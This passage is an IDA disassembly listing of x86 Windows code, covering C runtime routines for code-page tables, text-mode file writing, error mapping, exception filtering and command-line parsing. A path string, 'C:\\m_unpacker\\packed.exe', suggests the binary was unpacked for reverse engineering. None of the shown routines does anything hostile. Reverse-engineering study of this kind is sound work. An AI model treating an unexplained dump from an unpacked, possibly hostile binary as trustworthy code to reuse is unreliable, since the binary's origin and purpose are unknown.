		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_46CA64
		call	dword_421198	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41CBD5
		xor	eax, eax
		mov	esi, 100h


loc_41CAC6:				; CODE XREF: sub_41CA9C+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41CAC6
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41CB17
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_41CAE5:				; CODE XREF: sub_41CA9C+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41CB0C
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41CB0C:				; CODE XREF: sub_41CA9C+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41CAE5
		pop	edi
		pop	ebx


loc_41CB17:				; CODE XREF: sub_41CA9C+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_46CC84
		push	dword_46CA64
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41DA93
		push	0
		lea	eax, [ebp+var_214]
		push	dword_46CA64
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_46CC84
		call	sub_41C639
		push	0
		lea	eax, [ebp+var_314]
		push	dword_46CA64
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_46CC84
		call	sub_41C639
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_41CB92:				; CODE XREF: sub_41CA9C+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41CBB0
		or	byte_46CB81[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41CBA8:				; CODE XREF: sub_41CA9C+127j
		mov	byte_46CA80[eax], dl
		jmp	short loc_41CBCC
; ---------------------------------------------------------------------------


loc_41CBB0:				; CODE XREF: sub_41CA9C+FCj
		test	dl, 2
		jz	short loc_41CBC5
		or	byte_46CB81[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41CBA8
; ---------------------------------------------------------------------------


loc_41CBC5:				; CODE XREF: sub_41CA9C+117j
		and	byte_46CA80[eax], 0


loc_41CBCC:				; CODE XREF: sub_41CA9C+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41CB92
		jmp	short loc_41CC1E
; ---------------------------------------------------------------------------


loc_41CBD5:				; CODE XREF: sub_41CA9C+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_41CBDC:				; CODE XREF: sub_41CA9C+180j
		cmp	eax, 41h
		jb	short loc_41CBFA
		cmp	eax, 5Ah
		ja	short loc_41CBFA
		or	byte_46CB81[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41CBF2:				; CODE XREF: sub_41CA9C+174j
		mov	byte_46CA80[eax], cl
		jmp	short loc_41CC19
; ---------------------------------------------------------------------------


loc_41CBFA:				; CODE XREF: sub_41CA9C+143j
					; sub_41CA9C+148j
		cmp	eax, 61h
		jb	short loc_41CC12
		cmp	eax, 7Ah
		ja	short loc_41CC12
		or	byte_46CB81[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41CBF2
; ---------------------------------------------------------------------------


loc_41CC12:				; CODE XREF: sub_41CA9C+161j
					; sub_41CA9C+166j
		and	byte_46CA80[eax], 0


loc_41CC19:				; CODE XREF: sub_41CA9C+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41CBDC


loc_41CC1E:				; CODE XREF: sub_41CA9C+137j
		pop	esi
		leave
		retn
sub_41CA9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC21	proc near		; CODE XREF: sub_41D05F+9p
					; sub_41D0B7+Dp ...
		cmp	dword_46CCB4, 0
		jnz	short locret_41CC3C
		push	0FFFFFFFDh
		call	sub_41C85D
		pop	ecx
		mov	dword_46CCB4, 1

locret_41CC3C:				; CODE XREF: sub_41CC21+7j
		retn
sub_41CC21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC3D	proc near		; CODE XREF: sub_4171E8+2Bp
					; sub_4171E8+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_46CA7C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41CC61
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_416BE0
		add	esp, 0Ch
		jmp	short loc_41CCC4
; ---------------------------------------------------------------------------


loc_41CC61:				; CODE XREF: sub_41CC3D+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41CCA6
		mov	ecx, [ebp+arg_4]


loc_41CC6C:				; CODE XREF: sub_41CC3D+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_46CB81[esi], 4
		mov	[edi], al
		jz	short loc_41CC90
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41CC9C
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41CCA2
		jmp	short loc_41CC96
; ---------------------------------------------------------------------------


loc_41CC90:				; CODE XREF: sub_41CC3D+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41CCA6


loc_41CC96:				; CODE XREF: sub_41CC3D+51j
		test	edx, edx
		jnz	short loc_41CC6C
		jmp	short loc_41CCA6
; ---------------------------------------------------------------------------


loc_41CC9C:				; CODE XREF: sub_41CC3D+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41CCA6
; ---------------------------------------------------------------------------


loc_41CCA2:				; CODE XREF: sub_41CC3D+4Fj
		and	byte ptr [edi-2], 0


loc_41CCA6:				; CODE XREF: sub_41CC3D+2Aj
					; sub_41CC3D+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41CCC1
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41CCC1:				; CODE XREF: sub_41CC3D+6Fj
		mov	eax, [ebp+arg_0]


loc_41CCC4:				; CODE XREF: sub_41CC3D+22j
		pop	edi
		pop	ebp
		retn
sub_41CC3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCC7	proc near		; CODE XREF: sub_41761F+A2p
					; sub_417C57+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_46CA60
		push	esi
		push	edi
		jnb	loc_41CE5B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46C960h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41CE5B
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41CD18


loc_41CD11:				; CODE XREF: sub_41CCC7+177j
		xor	eax, eax
		jmp	loc_41CE6F
; ---------------------------------------------------------------------------


loc_41CD18:				; CODE XREF: sub_41CCC7+48j
		test	al, 20h
		jz	short loc_41CD28
		push	2
		push	edi
		push	ecx
		call	sub_41C447
		add	esp, 0Ch


loc_41CD28:				; CODE XREF: sub_41CCC7+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41CDF7
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41CE2F


loc_41CD48:				; CODE XREF: sub_41CCC7+F5j
		lea	eax, [ebp+var_414]


loc_41CD4E:				; CODE XREF: sub_41CCC7+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41CD82
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41CD6D
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_41CD6D:				; CODE XREF: sub_41CCC7+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41CD4E


loc_41CD82:				; CODE XREF: sub_41CCC7+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_421070	; WriteFile
		test	eax, eax
		jz	short loc_41CDEC
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41CDBE
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41CD48


loc_41CDBE:				; CODE XREF: sub_41CCC7+EAj
					; sub_41CCC7+12Ej
		xor	edi, edi


loc_41CDC0:				; CODE XREF: sub_41CCC7+150j
					; sub_41CCC7+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41CE56
		cmp	[ebp+arg_0], edi
		jz	short loc_41CE2F
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41CE24
		mov	dword_46B634, 9
		mov	dword_46B638, eax
		jmp	loc_41CE6C
; ---------------------------------------------------------------------------


loc_41CDEC:				; CODE XREF: sub_41CCC7+E0j
		call	dword_421088	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41CDBE
; ---------------------------------------------------------------------------


loc_41CDF7:				; CODE XREF: sub_41CCC7+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_421070	; WriteFile
		test	eax, eax
		jz	short loc_41CE19
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41CDC0
; ---------------------------------------------------------------------------


loc_41CE19:				; CODE XREF: sub_41CCC7+145j
		call	dword_421088	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41CDC0
; ---------------------------------------------------------------------------


loc_41CE24:				; CODE XREF: sub_41CCC7+10Fj
		push	[ebp+arg_0]
		call	sub_41CE74
		pop	ecx
		jmp	short loc_41CE6C
; ---------------------------------------------------------------------------


loc_41CE2F:				; CODE XREF: sub_41CCC7+7Bj
					; sub_41CCC7+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41CE44
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41CD11


loc_41CE44:				; CODE XREF: sub_41CCC7+16Fj
		mov	dword_46B634, 1Ch
		mov	dword_46B638, edi
		jmp	short loc_41CE6C
; ---------------------------------------------------------------------------


loc_41CE56:				; CODE XREF: sub_41CCC7+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41CE6F
; ---------------------------------------------------------------------------


loc_41CE5B:				; CODE XREF: sub_41CCC7+15j
					; sub_41CCC7+37j
		and	dword_46B638, 0
		mov	dword_46B634, 9


loc_41CE6C:				; CODE XREF: sub_41CCC7+120j
					; sub_41CCC7+166j ...
		or	eax, 0FFFFFFFFh


loc_41CE6F:				; CODE XREF: sub_41CCC7+4Cj
					; sub_41CCC7+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CCC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CE74	proc near		; CODE XREF: sub_417729+16p
					; sub_41791C+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_46B638, ecx
		mov	eax, offset dword_43A3B0


loc_41CE85:				; CODE XREF: sub_41CE74+1Ej
		cmp	ecx, [eax]
		jz	short loc_41CEA9
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43A518
		jl	short loc_41CE85
		cmp	ecx, 13h
		jb	short loc_41CEB6
		cmp	ecx, 24h
		ja	short loc_41CEB6
		mov	dword_46B634, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41CEA9:				; CODE XREF: sub_41CE74+13j
		mov	eax, dword_43A3B4[edx*8]
		mov	dword_46B634, eax
		retn
; ---------------------------------------------------------------------------


loc_41CEB6:				; CODE XREF: sub_41CE74+23j
					; sub_41CE74+28j
		cmp	ecx, 0BCh
		jb	short loc_41CED0
		cmp	ecx, 0CAh
		mov	dword_46B634, 8
		jbe	short locret_41CEDA


loc_41CED0:				; CODE XREF: sub_41CE74+48j
		mov	dword_46B634, 16h

locret_41CEDA:				; CODE XREF: sub_41CE74+5Aj
		retn
sub_41CE74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEDB	proc near		; CODE XREF: seg001:00417BFBp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_41D01C
		test	eax, eax
		pop	ecx
		jz	loc_41D010
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41D010
		cmp	ebx, 5
		jnz	short loc_41CF0C
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41D019
; ---------------------------------------------------------------------------


loc_41CF0C:				; CODE XREF: sub_41CEDB+23j
		cmp	ebx, 1
		jz	loc_41D00B
		mov	ecx, dword_46B6E8
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_46B6E8, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41CFFB
		mov	ecx, dword_43A590
		mov	edx, dword_43A594
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41CF5B
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43A520h[esi*4]


loc_41CF52:				; CODE XREF: sub_41CEDB+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41CF52


loc_41CF5B:				; CODE XREF: sub_41CEDB+69j
		mov	eax, [eax]
		mov	esi, dword_43A59C
		cmp	eax, 0C000008Eh
		jnz	short loc_41CF76
		mov	dword_43A59C, 83h
		jmp	short loc_41CFE6
; ---------------------------------------------------------------------------


loc_41CF76:				; CODE XREF: sub_41CEDB+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_41CF89
		mov	dword_43A59C, 81h
		jmp	short loc_41CFE6
; ---------------------------------------------------------------------------


loc_41CF89:				; CODE XREF: sub_41CEDB+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_41CF9C
		mov	dword_43A59C, 84h
		jmp	short loc_41CFE6
; ---------------------------------------------------------------------------


loc_41CF9C:				; CODE XREF: sub_41CEDB+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_41CFAF
		mov	dword_43A59C, 85h
		jmp	short loc_41CFE6
; ---------------------------------------------------------------------------


loc_41CFAF:				; CODE XREF: sub_41CEDB+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_41CFC2
		mov	dword_43A59C, 82h
		jmp	short loc_41CFE6
; ---------------------------------------------------------------------------


loc_41CFC2:				; CODE XREF: sub_41CEDB+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_41CFD5
		mov	dword_43A59C, 86h
		jmp	short loc_41CFE6
; ---------------------------------------------------------------------------


loc_41CFD5:				; CODE XREF: sub_41CEDB+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_41CFE6
		mov	dword_43A59C, 8Ah


loc_41CFE6:				; CODE XREF: sub_41CEDB+99j
					; sub_41CEDB+ACj ...
		push	dword_43A59C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43A59C, esi
		pop	ecx
		pop	esi
		jmp	short loc_41D003
; ---------------------------------------------------------------------------


loc_41CFFB:				; CODE XREF: sub_41CEDB+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41D003:				; CODE XREF: sub_41CEDB+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_46B6E8, eax


loc_41D00B:				; CODE XREF: sub_41CEDB+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D019
; ---------------------------------------------------------------------------


loc_41D010:				; CODE XREF: sub_41CEDB+Fj
					; sub_41CEDB+1Aj
		push	[ebp+arg_4]
		call	dword_4211A4	; UnhandledExceptionFilter


loc_41D019:				; CODE XREF: sub_41CEDB+2Cj
					; sub_41CEDB+133j
		pop	ebx
		pop	ebp
		retn
sub_41CEDB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D01C	proc near		; CODE XREF: sub_41CEDB+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43A598
		cmp	dword_43A518, edx
		push	esi
		mov	eax, offset dword_43A518
		jz	short loc_41D049
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43A518h[esi*4]


loc_41D03E:				; CODE XREF: sub_41D01C+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41D049
		cmp	[eax], edx
		jnz	short loc_41D03E


loc_41D049:				; CODE XREF: sub_41D01C+16j
					; sub_41D01C+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43A518h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41D05C
		cmp	[eax], edx
		jz	short locret_41D05E


loc_41D05C:				; CODE XREF: sub_41D01C+3Aj
		xor	eax, eax

locret_41D05E:				; CODE XREF: sub_41D01C+3Ej
		retn
sub_41D01C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D05F	proc near		; CODE XREF: seg001:00417BBDp
		cmp	dword_46CCB4, 0
		jnz	short loc_41D06D
		call	sub_41CC21


loc_41D06D:				; CODE XREF: sub_41D05F+7j
		push	esi
		mov	esi, dword_46CCAC
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41D09F


loc_41D07A:				; CODE XREF: sub_41D05F+33j
					; sub_41D05F+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41D097
		test	al, al
		jz	short loc_41D097
		movzx	eax, al
		push	eax
		call	sub_41EF4C
		test	eax, eax
		pop	ecx
		jz	short loc_41D07A
		inc	esi
		jmp	short loc_41D07A
; ---------------------------------------------------------------------------


loc_41D097:				; CODE XREF: sub_41D05F+21j
					; sub_41D05F+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41D0A9


loc_41D09C:				; CODE XREF: sub_41D05F+52j
		inc	esi
		jmp	short loc_41D0A9
; ---------------------------------------------------------------------------


loc_41D09F:				; CODE XREF: sub_41D05F+19j
		cmp	al, 20h
		jbe	short loc_41D0A9


loc_41D0A3:				; CODE XREF: sub_41D05F+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41D0A3


loc_41D0A9:				; CODE XREF: sub_41D05F+3Bj
					; sub_41D05F+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41D0B3
		cmp	al, 20h
		jbe	short loc_41D09C


loc_41D0B3:				; CODE XREF: sub_41D05F+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_41D05F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D0B7	proc near		; CODE XREF: seg001:00417BA6p
		push	ebx
		xor	ebx, ebx
		cmp	dword_46CCB4, ebx
		push	esi
		push	edi
		jnz	short loc_41D0C9
		call	sub_41CC21


loc_41D0C9:				; CODE XREF: sub_41D0B7+Bj
		mov	esi, dword_46B680
		xor	edi, edi


loc_41D0D1:				; CODE XREF: sub_41D0B7+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41D0E9
		cmp	al, 3Dh
		jz	short loc_41D0DC
		inc	edi


loc_41D0DC:				; CODE XREF: sub_41D0B7+22j
		push	esi
		call	sub_415B10
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41D0D1
; ---------------------------------------------------------------------------


loc_41D0E9:				; CODE XREF: sub_41D0B7+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_415BE9
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_46B65C, esi
		jnz	short loc_41D10B
		push	9
		call	sub_417C0E
		pop	ecx


loc_41D10B:				; CODE XREF: sub_41D0B7+4Aj
		mov	edi, dword_46B680
		cmp	[edi], bl
		jz	short loc_41D14E
		push	ebp


loc_41D116:				; CODE XREF: sub_41D0B7+94j
		push	edi
		call	sub_415B10
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41D147
		push	ebp
		call	sub_415BE9
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41D13A
		push	9
		call	sub_417C0E
		pop	ecx


loc_41D13A:				; CODE XREF: sub_41D0B7+79j
		push	edi
		push	dword ptr [esi]
		call	sub_415A20
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41D147:				; CODE XREF: sub_41D0B7+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41D116
		pop	ebp


loc_41D14E:				; CODE XREF: sub_41D0B7+5Cj
		push	dword_46B680
		call	sub_415C9B
		pop	ecx
		mov	dword_46B680, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_46CCB0, 1
		pop	ebx
		retn
sub_41D0B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D170	proc near		; CODE XREF: seg001:00417BA1p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_46CCB4, ebx
		push	esi
		push	edi
		jnz	short loc_41D187
		call	sub_41CC21


loc_41D187:				; CODE XREF: sub_41D170+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	dword_42107C	; GetModuleFileNameA
		mov	eax, dword_46CCAC
		mov	off_46B66C, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41D1AC
		mov	edi, eax


loc_41D1AC:				; CODE XREF: sub_41D170+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41D209
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_415BE9
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41D1DC
		push	8
		call	sub_417C0E
		pop	ecx


loc_41D1DC:				; CODE XREF: sub_41D170+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41D209
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_46B654, esi
		pop	edi
		pop	esi
		mov	dword_46B650, eax
		pop	ebx
		leave
		retn
sub_41D170	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D209	proc near		; CODE XREF: sub_41D170+47p
					; sub_41D170+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41D233
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41D233:				; CODE XREF: sub_41D209+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41D27C


loc_41D238:				; CODE XREF: sub_41D209+58j
					; sub_41D209+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41D26A
		test	dl, dl
		jz	short loc_41D26A
		movzx	edx, dl
		test	byte_46CB81[edx], 4
		jz	short loc_41D25D
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41D25D
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41D25D:				; CODE XREF: sub_41D209+46j
					; sub_41D209+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41D238
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41D238
; ---------------------------------------------------------------------------


loc_41D26A:				; CODE XREF: sub_41D209+36j
					; sub_41D209+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41D274
		and	byte ptr [esi],	0
		inc	esi


loc_41D274:				; CODE XREF: sub_41D209+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41D2BF
		inc	eax
		jmp	short loc_41D2BF
; ---------------------------------------------------------------------------


loc_41D27C:				; CODE XREF: sub_41D209+2Dj
					; sub_41D209+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41D287
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41D287:				; CODE XREF: sub_41D209+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_46CB81[ebx], 4
		jz	short loc_41D2A2
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41D2A1
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41D2A1:				; CODE XREF: sub_41D209+91j
		inc	eax


loc_41D2A2:				; CODE XREF: sub_41D209+8Bj
		cmp	dl, 20h
		jz	short loc_41D2B0
		test	dl, dl
		jz	short loc_41D2B4
		cmp	dl, 9
		jnz	short loc_41D27C


loc_41D2B0:				; CODE XREF: sub_41D209+9Cj
		test	dl, dl
		jnz	short loc_41D2B7


loc_41D2B4:				; CODE XREF: sub_41D209+A0j
		dec	eax
		jmp	short loc_41D2BF
; ---------------------------------------------------------------------------


loc_41D2B7:				; CODE XREF: sub_41D209+A9j
		test	esi, esi
		jz	short loc_41D2BF
		and	byte ptr [esi-1], 0


loc_41D2BF:				; CODE XREF: sub_41D209+6Ej
					; sub_41D209+71j ...
		and	[ebp+arg_10], 0


loc_41D2C3:				; CODE XREF: sub_41D209+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41D3AC


loc_41D2CC:				; CODE XREF: sub_41D209+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41D2D8
		cmp	dl, 9
		jnz	short loc_41D2DB


loc_41D2D8:				; CODE XREF: sub_41D209+C8j
		inc	eax
		jmp	short loc_41D2CC
; ---------------------------------------------------------------------------


loc_41D2DB:				; CODE XREF: sub_41D209+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41D3AC
		test	edi, edi
		jz	short loc_41D2F0
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41D2F0:				; CODE XREF: sub_41D209+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41D2F5:				; CODE XREF: sub_41D209+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41D2FE:				; CODE XREF: sub_41D209+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41D307
		inc	eax
		inc	ebx
		jmp	short loc_41D2FE
; ---------------------------------------------------------------------------


loc_41D307:				; CODE XREF: sub_41D209+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41D338
		test	bl, 1
		jnz	short loc_41D336
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41D325
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41D325
		mov	eax, edx
		jmp	short loc_41D328
; ---------------------------------------------------------------------------


loc_41D325:				; CODE XREF: sub_41D209+10Dj
					; sub_41D209+116j
		mov	[ebp+arg_0], edi


loc_41D328:				; CODE XREF: sub_41D209+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41D336:				; CODE XREF: sub_41D209+106j
		shr	ebx, 1


loc_41D338:				; CODE XREF: sub_41D209+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41D34D
		inc	ebx


loc_41D340:				; CODE XREF: sub_41D209+142j
		test	esi, esi
		jz	short loc_41D348
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41D348:				; CODE XREF: sub_41D209+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41D340


loc_41D34D:				; CODE XREF: sub_41D209+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41D39D
		cmp	[ebp+arg_10], 0
		jnz	short loc_41D363
		cmp	dl, 20h
